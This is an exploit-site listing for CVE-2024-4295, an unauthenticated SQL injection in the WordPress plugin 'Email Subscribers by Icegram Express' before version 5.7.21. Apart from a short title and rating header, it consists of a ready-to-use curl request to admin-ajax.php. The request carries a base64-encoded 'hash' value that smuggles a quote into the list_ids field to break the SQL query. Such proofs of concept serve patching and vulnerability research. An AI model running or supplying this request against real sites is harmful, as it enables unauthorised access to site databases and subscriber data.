Exploit for Email Subscribers by Icegram Express < 5.7.21 - Unauthenticated SQL Injection via hash CVE-2024-4295

Name: Exploit for Email Subscribers by Icegram Express < 5.7.21 - Unauthenticated SQL Injection via hash CVE-2024-4295
Rating: 5 (57 reviews)

2024-06-04 | CVSS 9.8

## https://sploitus.com/exploit?id=WPEX-ID:20701E9D-8E43-4CDA-9C76-0F3F797CC0BC
User need to be in the database but unsubscribed to the list:

curl -X POST "http://testbox/wp-admin/admin-ajax.php" --data "es=optin&hash=ewogICAgICAgICJjb250YWN0X2lkIjogIjIxIiwKICAgICAgICAiZW1haWwiOiAidGVzdEBnbWFpbC5jb20iLAogICAgICAgICJsaXN0X2lkcyIgOiAiJyIKCn0=&action=es_add_subscriber"